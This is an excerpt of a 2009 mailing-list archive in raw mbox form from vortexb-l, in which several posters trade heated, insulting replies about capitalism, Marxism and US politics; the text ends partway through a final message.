--001636c923d7a57531046a8597c5-- From vortexb-l-request@eskimo.com Fri May 22 12:59:36 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MJxRZ0030298; Fri, 22 May 2009 12:59:27 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MJxJ5u030250; Fri, 22 May 2009 12:59:19 -0700 Resent-Date: Fri, 22 May 2009 12:59:19 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 12:59:14 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Message-ID: <20090522195914.GN16769@shell.resist.ca> Reply-To: grok@resist.ca References: <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522180620.GD16769@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 8182, DIAT, DCS2000, Ionosphere, Fighting In Built-Up Areas User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4045 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 287 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >Hey, Fields -- here's some of your good 'ol Yanqui entrepreneurship at work: > > >2 FIRMS ACCUSED OF FRAUD IN DEBT SETTLEMENT: > > > > > --- > Not mine and hardly typical but, unfortunately, there are criminals > everywhere. QUITE typical, actually. As one anarchist once cogently wrote: "Capitalism is theft". And that's basically the truth of the matter. - --grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXBBIACgkQXo3EtEYbt3E53ACfRjBdZ91kEQqZt/ZamexwyYXU yEoAoIlyE9eXkbdeErqG9wC+Nfyiforx =atM4 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 13:13:30 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MKDR8h006734; Fri, 22 May 2009 13:13:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MKDQq5006722; Fri, 22 May 2009 13:13:26 -0700 Resent-Date: Fri, 22 May 2009 13:13:26 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=/AomF44TgkkfJggboa7P8K8dpgF964c0eTx/ml2rtrY=; b=meZEaqX7YWUW24+yqRv8clqBNaGFpEzkqvcFCgVvhD/Uw+cB6IOQr/Wa7bTBmivObX O1H1bFAGebP/syL4Bz11rbS/0ACJvIfqWAVrpy/q41qgh+ddGKLPbe/C4w1T+KZ0zA4M zJIYVvSHqe2MBL5F/cDJQzNS0WCOgteorlI90= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=oxSIyba8nDWm0VVkWnTFaQLA8eIDxL6QipvtkXRBPNjcTRpML5Y0H3xZwIJAB/kATc 25my9EOQxOLTBrkHmrtg4OPqvYzFsIaAxDF22/j+dbKkp587irjfoyBk2Hp6lDMSsr3K B62QD94/WSnyYUIaDp9sNU8zf31aA8uf9lnDo= MIME-Version: 1.0 In-Reply-To: <20090522195914.GN16769@shell.resist.ca> References: <20090520004248.GK2278@shell.resist.ca> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522180620.GD16769@shell.resist.ca> <20090522195914.GN16769@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 16:13:04 -0400 Message-ID: <63ffa6020905221313u614ff7fj924e684149c31a41@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:China vs US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a71787d2f4046a85e459 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4046 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 288 --001636c5a71787d2f4046a85e459 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Capitalism is indeed theft if value is objective. Inasmuch as value is subjective, Capitalism is the only possible moral and ethical system. On Fri, May 22, 2009 at 3:59 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, John Fields > mounted the barricade and roared out: > > > >Hey, Fields -- here's some of your good 'ol Yanqui entrepreneurship at > work: > > > > >2 FIRMS ACCUSED OF FRAUD IN DEBT SETTLEMENT: > > > > > > > > > --- > > Not mine and hardly typical but, unfortunately, there are criminals > > everywhere. > > QUITE typical, actually. > As one anarchist once cogently wrote: "Capitalism is theft". > And that's basically the truth of the matter. > > > - --grok. > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXBBIACgkQXo3EtEYbt3E53ACfRjBdZ91kEQqZt/ZamexwyYXU > yEoAoIlyE9eXkbdeErqG9wC+Nfyiforx > =3DatM4 > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a71787d2f4046a85e459 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Capitalism is indeed theft if value is objective.=A0 Inasmuch as value is s= ubjective, Capitalism is the only possible moral and ethical system.


On Fri, May 22, 2009 at 3:59 PM, grok = <grok@resist.ca&= gt; wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, John Fields <jfields@austininstruments.com> mounted the barricade and roared out:

> >Hey, Fields -- here's some of your goo= d 'ol Yanqui entrepreneurship at work:
>
> >2 FIRMS ACCUSED OF FRAUD IN DEBT SETTLEMENT:
> ><http://www.nytimes.com/2009/05/20/business/20debt.ht= ml>
>
>
> ---
> Not mine and hardly typical but, unfortunately, there are criminals > everywhere.

QUITE typical, actually.
As one anarchist once cogently wrote: "Capitalism is theft".
And that's basically the truth of the matter.


- --grok.



- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

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=3DatM4
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5a71787d2f4046a85e459-- From vortexb-l-request@eskimo.com Fri May 22 13:24:30 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4MKORDg012481; Fri, 22 May 2009 13:24:27 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4MKORvA012477; Fri, 22 May 2009 13:24:27 -0700 Resent-Date: Fri, 22 May 2009 13:24:27 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 13:24:18 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090522202418.GO16769@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <20090522190952.GK16769@shell.resist.ca> <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 8182, DIAT, DCS2000, Ionosphere, Fighting In Built-Up Areas User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <69FRlB.A.3CD.6nwFKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4047 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 289 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > I've never understood how the capitalists could continue to amass billions > without having an effective economic theory. It's a mysterious accusation. It's easy: they exploit the workers. Or haven't you heard that B4? So it really depends on what you mean by "effective". Forcing people to do things at gunpoint is "effective". - -- grok. P.S.: OOPS! Another Very Important Person has un-subscribed. I might have more to say about that later. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXCfIACgkQXo3EtEYbt3GBoQCfekJH2uoc4Zc4ot4p2YqJcw32 efIAoK1Fi5XpDaZhqe4ZH+U79iPL18Nn =Vvgt -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 13:32:34 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MKWQfI011179; Fri, 22 May 2009 13:32:31 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MKWJgd011162; Fri, 22 May 2009 13:32:19 -0700 Resent-Date: Fri, 22 May 2009 13:32:19 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=ajtSTgm+ZUSY4qbEu0NzcesSKvygfgkj1Hwp/HXr+pU=; b=VSR7ujS4TQYL3FOYaa0+JByYR2cfN/GnJjtOeFSBFbGm3dsR+J119ZLsAwrNiVZmP+ tzQqseZtJ9er80AfPojpuRnM3fGxxN5eMoD/waF6ihmWhegWfRiuvSb5a6/O06gXo0cy lWc+2LDJrRC/oLBVmtnjgizejJzGfP+xMg+FM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=Hlx35BKmXItMALjGU0l31S16HxxrD2ntvryDCLQwOOUsvuRxLPJD0QqzAts8hIH9D/ 8O1HEIWauCs0PKzC3MtlecZSb1GaaNPJVdRWOrulBmQiXc6rpxIunYQvb1v5qLyOfdCJ Eo6z7/sGLtGYQ3ZllfVbRWy66jfrLcEc+T4xU= MIME-Version: 1.0 In-Reply-To: <20090522015232.GG29458@shell.resist.ca> References: <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> Date: Fri, 22 May 2009 15:32:00 -0500 Message-ID: Subject: Re: [VoB]:Re: This is VortexB-L... From: OrionWorks To: grok@resist.ca, vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4048 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 290 To Grok > > "Congenital class issue"??? What a mouthful. What does it mean? > > ...economic/social/ ??? what? > > For marxists, class is fundamentally about people's relationship > to the existing means of production, and otherwise beyond that to > their relations with each other. So > it's all ekonomik AND social. > > > And while we're at it, in order to clear up any future > > misunderstanding what exactly is your personal definition of > > "politix"? A -bastardization- of politics in general? You seem > > to use the "politix" word a lot. > > Don't I. > > Marxists generally mean "political-economy" when they talk about > politix. It's important not to divorce politix too much from its > ekonomik power base. And in fact, part of how the capitalists > hamstring people's thinking is by continually presenting > "facts" in isolation from each other -- or, conversely, making > false links which don't exist. You'll see this on *every* newscast, > for instance. I gather you consider yourself to be a Marxist. > For that matter, there also used to be a magazine call "Lies Of > Our [New York] Times" (LOOT), FYI. And that was a liberal rag. > ;> > > > Incidentally you have not responded to my previous request. I remind > > you that you have asserted that I have been condescending in my > > correspondence towards you. > > Why would we want to continue to go there. Enuff has been said on > the matter, AFAIC. Remember we have an audience, eh? Not that > I can't carry this on forever. > ;P I bring it up precisely because you have continuously brought up such derogatory phrases in your responses to others (and me) all the time. I'm not interested in participating in such exchanges, now or anytime. You seem to be implying that you would like to conduct these exchanges as if it was a sophisticated art form consisting mainly of threat displays followed by verbally skewering one's opponent by any means at one's disposal. It's been my experience that little of substance is accomplished in such exchanges other than to create an arena of weekend entertainment where the crowd, like in the movie "Thunderdome", shout out: "Two go in... One comes out!" Is this one of your favorite past times? > > If I make an effort to be less condescending will you reciprocate by > > not describing me as a "fella", or several other nonsensical names of > > a similar vernacular that add little to the discussion? > > This is just being petty. I really don't think we're on first > name terms here, you and I. Let's just keep this at the > 'two wild animals circling each other in the forest' level. It is not "petty" at all. It is an agreement to extend common courtesy to be honored by both parties involved in these exchanges. As you well know we certainly are not on any kind of a first name basis, and what relevance does being on a "first name basis" (or not) have to do with requesting an agreement that we extend common courtesy to each other in our exchanges? "Grok" or whomever you wish to display yourself -as- to the Vort Collective, I really have no interest in "circling" you, nor being circled by you in return like wild animals in the forest. Why would I wish to...why would anyone wish to subject themselves to continuous verbal abuse of this nature? If you cannot or are unwilling to agree to the most basic forms of common courtesy in our exchanges I have no interest in furthering my attempts to learn something from you. Life's too short to waste in pointless "circling". The ball is in your court. Regards, Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Fri May 22 14:13:42 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MLDa6o024039; Fri, 22 May 2009 14:13:40 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MLDZqI024032; Fri, 22 May 2009 14:13:35 -0700 Resent-Date: Fri, 22 May 2009 14:13:35 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=OkoBVu+sz/CcAfdCrDkV/4jIjQkfcuB4G9UFBsVK4Mc=; b=OkgNwVcKpnzGP2xCxT/bBrA4K7cIIgnCPWFAT15M4IZc9//7iQOSaAIucuJ+PGjMBX ran2AgluIl9u3aAxIrcYMSnwEukiOXmRLmODtpd3yVaDNWoiOq1Kpue96L/pKvXAWhps 599zQl+n08hFZlQ8GsPYelM1zZdGBa/R2Nn/c= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=wZVkBb9BfWifgy7fno3IBKHuupSPBskrXAcxFu+E1Pa3Dd8vardCObOz8Urvv2sK+d e45mrtAb0Tj2bE+7bSjhxbvwRjWx8QHbxwt8Ugsvs2OhssSodsiL3Df5k+cXTs7JJVFt FcQVy2fJ9Y589soUlmINjGeMimUNCGXHFZ0TU= MIME-Version: 1.0 In-Reply-To: <20090522202418.GO16769@shell.resist.ca> References: <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <20090522190952.GK16769@shell.resist.ca> <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> <20090522202418.GO16769@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 17:13:12 -0400 Message-ID: <63ffa6020905221413v5d261182p3a50caf9a91078ea@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5b84da4a3d2046a86bb1a Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4049 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 291 --001636c5b84da4a3d2046a86bb1a Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Well, finance is a bit more sophisticated than that. But yet, the Marxists understand economics better? Does that make a Marxist education very useful in business? On Fri, May 22, 2009 at 4:24 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > I've never understood how the capitalists could continue to amass > billions > > without having an effective economic theory. It's a mysterious > accusation. > > It's easy: they exploit the workers. > Or haven't you heard that B4? > > So it really depends on what you mean by "effective". Forcing people to d= o > things at > gunpoint is "effective". > > > > - -- grok. > > > P.S.: OOPS! Another Very Important Person has un-subscribed. > I might have more to say about that later. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXCfIACgkQXo3EtEYbt3GBoQCfekJH2uoc4Zc4ot4p2YqJcw32 > efIAoK1Fi5XpDaZhqe4ZH+U79iPL18Nn > =3DVvgt > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5b84da4a3d2046a86bb1a Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Well, finance is a bit more sophisticated than that. But yet, the Marxists = understand economics better? Does that make a Marxist education very useful= in business?




On Fri, May 22,= 2009 at 4:24 PM, grok <grok@resist.ca> wrote:
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Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> I've never understood how the capitalists = could continue to amass billions
> without having an effective economic theory. It's a mysterious acc= usation.

It's easy: they exploit the workers.
Or haven't you heard that B4?

So it really depends on what you mean by "effective". Forcing peo= ple to do things at
gunpoint is "effective".



- -- grok.


P.S.: OOPS! Another Very Important Person has un-subscribed.
I might have more to say about that later.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
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--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b84da4a3d2046a86bb1a-- From vortexb-l-request@eskimo.com Fri May 22 14:21:40 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MLLbvh029002; Fri, 22 May 2009 14:21:37 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MLLb8P028996; Fri, 22 May 2009 14:21:37 -0700 Resent-Date: Fri, 22 May 2009 14:21:37 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-YMail-OSG: W11aZkMVM1nmrMgAbeNXKobL4a3wjePWnFYviEkCXL4J9F73MlV1aU.RkxwY7.jGyc1jcX2o9NbkanYqQVKW9vcB1PVUUcnNitunDn6smJdDPvwQ7NBqyCvRADokScfcHujw.xhLuwd5z1zW1Q1fjRLARjODW2c_HETCSk9e4GO1m4fP2O41xC0jIUi5We67wFAhVq3ZDvqlrdyfSjjc2ecTkN0Om.daJO60iHxjwsxd1Dfc1lZ8F4pcwbxwd49Zv841ao6rp0DFtg3SxG3luyOhY6VkgUZqe8q_fGm1J0XZM2h2.HHSlIlj3nYGuMZZThEzM0iXyfk0Q.jdAdwJqGSM01TYuRV_bw-- X-Yahoo-Newman-Property: ymail-3 From: John Fields To: grok@resist.ca Cc: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Date: Fri, 22 May 2009 16:21:35 -0500 Organization: Austin Instruments. Inc. Message-ID: References: <20090519224854.GH2278@shell.resist.ca> <4A134BDF.7020700@lacy.com.ar> <20090520004248.GK2278@shell.resist.ca> <1ojb1515ue7qno0hko0p46enh13theo1km@4ax.com> <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> In-Reply-To: <20090522175450.GC16769@shell.resist.ca> X-Mailer: Forte Agent 4.2/32.1118 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4050 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 292 On Fri, 22 May 2009 10:54:50 -0700, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > > >[Let me start off again by saying that I did not come to vortex-l to = talk politix, >particularly.=20 --- Then what was your intent? --- >However youse all do, all the time=20 --- That's not true. I, for one, don't talk politics on vortex-l at all. --- >-- it's just that, given the >totalitarian U.S. mentality, much of the discussion of Reality is beyond= the Pale. --- The fact of the matter is that it isn't whether the discussion is beyond the pale, it's that your self-serving ideas about what constitutes US mentality and your hatred for our leaders and institutions makes it, of course, impossible for you to discuss reality in a sane way. --- >And so many of youse make a federal issue of my matter-of-fact = statements -- which >others in the World have no problem with.=20 --- No doubt because they think it's useless to try to teach a pig how to sing. --- =20 >And that's all that's really going on here --- No, what's really going on here is that you're basically a spoiled brat troll who's found a group of people to annoy. --- >- -- besides that I will not leave any political dilettantes here think = they can 'best' >me on this ground.] --- Tsk, tsk, tsk... Just _atrocious_ grammar for one who fancies himself a "debater". --- >As the smoke cleared, John Fields >mounted the barricade and roared out: > >> The _fact_ is that you're trying to avoid the issue by dodging the >> question, which is: "Do you ally yourself with personages like Hitler, >> Stalin, and Mao? > >What kind of a stupid, leading question is that?=20 --- Not at all stupid and, ostensibly, easy to answer since all that's being asked is whether you ally yourself with the likes of Hitler, Stalin, or Mao. =20 A simple "yes" or "no" will serve to identify your camp and that's all I'm really trying to do. ---=20 >I can very well ask the same of you >and your Hitler buddy.=20 --- Yes, of course you can, and if you did I'd reply with an emphatic "no" and ask you what on Earth gave you the idea that Hitler was my 'buddy' --- >As for Stalin and Mao: these are two historical figures, and >are NOT the countries or revolutions you are actually obliquely = referring to. --- What makes you think I was obliquely referring to _anything_? The question was simple enough for almost anyone to understand and answer, and yet... --- > I've >already made clear that stalinism is NFG -- but I wouldn't expect such = as yourself to >clue-in to that. Or even understand the distinction, for that matter. --- The distinction between what and what? --- >My point here is that you are ham-fistedly trying to gain brownie points= using >arguments, the very basis of which I do not in the least accept. --- Oh, I see... In order for me to gain brownie points, then, I should submit only arguments which you can understand and which you agree with? Sounds to me like you're right up there with Hitler, Stalin, and Mao since they didn't like anybody disagreeing with them either. --- > If you want to truly get anywhere witjh me here, --- And why would I want to do that? Kissing an egomaniacal narcissist's ass certainly isn't my idea of fun. --- >you had best stick to discussing first principles first. --- I'll run my side of it just exactly like I want to, and if that bothers you, too bad.=20 Get used to it or get out of Dodge. --- >Capisce? Thought not. --- Oooooohhh, multi-lingual... How impressive!!! --- >> Your reach obviously exceeds your grasp since your: >>=20 >> "But I most certainly do hate the U.S. ruling-class and all its >> stooges." >>=20 >> following, admits to hatred, which is antithetical to objectivity. > >We're not on Mount Olympus here, fella (actually, those greek gods were = a pretty >venal crew...) Part of the problem with the bourgeois/U.S. ideology is = its phony >claim to "objectivity" -- in the sense of being 'above it all', etc. = Which is pure >garbage. Fact of the matter is, one must indeed attempt to be as = objective as >possible; but it is always understood that all beings have, by material = necessity, a >POV. It can be no other way in this Reality. And in present class = society -- I very >much have a class-conscious, working-class POV. --- No, you don't. What you have is a destructive, egocentric point of view which you ascribe to a class of people so that you can feel secure in the knowledge (albeit false) that you represent a large number of people who think the same way that you do. --- >And YOUR masters, for instance, VERY much have a conscious = *ruling-class* POV. >However, they are constantly attempting to disarm you, mentally, by = telling you, for >instance, that there ARE no classes in your wunnerful and great society = -- other than >some mythical, all-encompassing "middle-class" -- the tortured (i.e. = false) logic of >which should be apparent to even a schoolchild upon even cursory = examination. --- Then, since it's so easy to see through, it should present no threat. --- >> In the context of this discussion it's clear that 'America' is >> synonymous with 'United States of America' and your nit-picking is yet >> another attempt at subject-changing. > >No -- I do not accept that "America" EVER means JUST the U.S.A. EVER. >That's NON-NEGOTIABLE. Got it..? --- Yeah; that's just some more of that rampant ego bouncing around. --- >Thought not. > >And so mebee we can start talking about all the fascistic flag-waving, = etc. in your >country now... Try me. --- I'd rather sentence you. --- >> I don't see where you got that the world wouldn't survive from: >> "the catastrophe which would ensue following her collapse.",=20 >> but then you do make up a lot of stuff, don't you? > >I'll let the record speak for itself here. --- =46inally, blessed silence... JF =20 From vortexb-l-request@eskimo.com Fri May 22 14:30:35 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4MLUSZ8003043; Fri, 22 May 2009 14:30:33 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4MLUSQI003032; Fri, 22 May 2009 14:30:28 -0700 Resent-Date: Fri, 22 May 2009 14:30:28 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-POP-User: cen02900.centurytel.net Sender: jack@mail962c35.nsolutionszone.com Message-ID: <4A1716CB.BA9B4CA@centurytel.net> Date: Fri, 22 May 2009 21:19:07 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4051 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:China vs. US Status: O X-Status: X-Keywords: X-UID: 293 Charles HOPE wrote: > > I perceive the gap to be that grok 